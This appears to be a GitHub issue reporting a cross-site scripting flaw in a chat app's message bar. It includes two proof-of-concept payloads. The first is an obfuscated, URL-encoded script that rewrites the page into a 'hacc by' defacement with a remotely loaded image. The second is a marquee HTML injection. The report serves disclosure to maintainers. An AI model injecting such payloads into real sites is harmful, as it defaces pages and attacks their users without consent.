ThalKod
commented
5 years ago e1d9d0e042711cc9be14420a561826bcb2a02a8e
Closed para-dise closed 5 years ago
ThalKod
commented
5 years ago e1d9d0e042711cc9be14420a561826bcb2a02a8e
XSS may not be what you originally set out to prevent but using simple script tags overwrite the whole page. HTML is also valid.
Note: XSS doesn't work once page is refreshed.
PoC #1: Copy & paste into the send message bar. (Rewrites entire page)
<script language="javascript"> document.write(unescape('%0A%3C%73%74%79%6C%65%3E%0A%2E%77%72%61%70%70%65%72%20%7B%20%0A%20%20%68%65%69%67%68%74%3A%20%31%30%30%25%3B%0A%20%20%77%69%64%74%68%3A%20%31%30%30%25%3B%0A%20%20%6C%65%66%74%3A%30%3B%0A%20%20%72%69%67%68%74%3A%20%30%3B%0A%20%20%74%6F%70%3A%20%30%3B%0A%20%20%62%6F%74%74%6F%6D%3A%20%30%3B%0A%20%20%70%6F%73%69%74%69%6F%6E%3A%20%61%62%73%6F%6C%75%74%65%3B%0A%62%61%63%6B%67%72%6F%75%6E%64%3A%20%6C%69%6E%65%61%72%2D%67%72%61%64%69%65%6E%74%28%31%32%34%64%65%67%2C%20%23%66%66%32%34%30%30%2C%20%23%65%38%31%64%31%64%2C%20%23%65%38%62%37%31%64%2C%20%23%65%33%65%38%31%64%2C%20%23%31%64%65%38%34%30%2C%20%23%31%64%64%64%65%38%2C%20%23%32%62%31%64%65%38%2C%20%23%64%64%30%30%66%33%2C%20%23%64%64%30%30%66%33%29%3B%0A%62%61%63%6B%67%72%6F%75%6E%64%2D%73%69%7A%65%3A%20%31%38%30%30%25%20%31%38%30%30%25%3B%0A%0A%2D%77%65%62%6B%69%74%2D%61%6E%69%6D%61%74%69%6F%6E%3A%20%72%61%69%6E%62%6F%77%20%31%38%73%20%65%61%73%65%20%69%6E%66%69%6E%69%74%65%3B%0A%2D%7A%2D%61%6E%69%6D%61%74%69%6F%6E%3A%20%72%61%69%6E%62%6F%77%20%31%73%20%65%61%73%65%20%69%6E%66%69%6E%69%74%65%3B%0A%2D%6F%2D%61%6E%69%6D%61%74%69%6F%6E%3A%20%72%61%69%6E%62%6F%77%20%31%73%20%65%61%73%65%20%69%6E%66%69%6E%69%74%65%3B%0A%20%20%61%6E%69%6D%61%74%69%6F%6E%3A%20%72%61%69%6E%62%6F%77%20%31%73%20%65%61%73%65%20%69%6E%66%69%6E%69%74%65%3B%7D%0A%0A%40%2D%77%65%62%6B%69%74%2D%6B%65%79%66%72%61%6D%65%73%20%72%61%69%6E%62%6F%77%20%7B%0A%20%20%20%20%30%25%7B%62%61%63%6B%67%72%6F%75%6E%64%2D%70%6F%73%69%74%69%6F%6E%3A%30%25%20%38%32%25%7D%0A%20%20%20%20%35%30%25%7B%62%61%63%6B%67%72%6F%75%6E%64%2D%70%6F%73%69%74%69%6F%6E%3A%31%30%30%25%20%31%39%25%7D%0A%20%20%20%20%31%30%30%25%7B%62%61%63%6B%67%72%6F%75%6E%64%2D%70%6F%73%69%74%69%6F%6E%3A%30%25%20%38%32%25%7D%0A%7D%0A%40%2D%6D%6F%7A%2D%6B%65%79%66%72%61%6D%65%73%20%72%61%69%6E%62%6F%77%20%7B%0A%20%20%20%20%30%25%7B%62%61%63%6B%67%72%6F%75%6E%64%2D%70%6F%73%69%74%69%6F%6E%3A%30%25%20%38%32%25%7D%0A%20%20%20%20%35%30%25%7B%62%61%63%6B%67%72%6F%75%6E%64%2D%70%6F%73%69%74%69%6F%6E%3A%31%30%30%25%20%31%39%25%7D%0A%20%20%20%20%31%30%30%25%7B%62%61%63%6B%67%72%6F%75%6E%64%2D%70%6F%73%69%74%69%6F%6E%3A%30%25%20%38%32%25%7D%0A%7D%0A%40%2D%6F%2D%6B%65%79%66%72%61%6D%65%73%20%72%61%69%6E%62%6F%77%20%7B%0A%20%20%20%20%30%25%7B%62%61%63%6B%67%72%6F%75%6E%64%2D%70%6F%73%69%74%69%6F%6E%3A%30%25%20%38%32%25%7D%0A%20%20%20%20%35%30%25%7B%62%61%63%6B%67%72%6F%75%6E%64%2D%70%6F%73%69%74%69%6F%6E%3A%31%30%30%25%20%31%39%25%7D%0A%20%20%20%20%31%30%30%25%7B%62%61%63%6B%67%72%6F%75%6E%64%2D%70%6F%73%69%74%69%6F%6E%3A%30%25%20%38%32%25%7D%0A%7D%0A%40%6B%65%79%66%72%61%6D%65%73%20%72%61%69%6E%62%6F%77%20%7B%20%0A%20%20%20%20%30%25%7B%62%61%63%6B%67%72%6F%75%6E%64%2D%70%6F%73%69%74%69%6F%6E%3A%30%25%20%38%32%25%7D%0A%20%20%20%20%35%30%25%7B%62%61%63%6B%67%72%6F%75%6E%64%2D%70%6F%73%69%74%69%6F%6E%3A%31%30%30%25%20%31%39%25%7D%0A%20%20%20%20%31%30%30%25%7B%62%61%63%6B%67%72%6F%75%6E%64%2D%70%6F%73%69%74%69%6F%6E%3A%30%25%20%38%32%25%7D%0A%7D%0A%3C%2F%73%74%79%6C%65%3E%0A%3C%64%69%76%20%63%6C%61%73%73%3D%22%77%72%61%70%70%65%72%22%3E%0A%3C%68%31%3E%68%61%63%63%20%62%79%20%6F%6D%6F%6E%6D%6E%69%6D%6F%6E%6D%6F%75%73%73%73%24%20%54%4D%3C%2F%68%31%3E%3C%62%72%3E%3C%69%6D%67%20%73%72%63%3D%22%68%74%74%70%73%3A%2F%2F%69%2E%79%74%69%6D%67%2E%63%6F%6D%2F%76%69%2F%6C%70%63%65%4C%41%6B%54%4D%34%59%2F%6D%61%78%72%65%73%64%65%66%61%75%6C%74%2E%6A%70%67%22%3E%3C%2F%64%69%76%3E%0A')); </script>PoC #2: Simple HTML. Copy & Paste into message bar and send.
<marquee>xss</marquee>Also, not related but empty messages are accepted and get sent.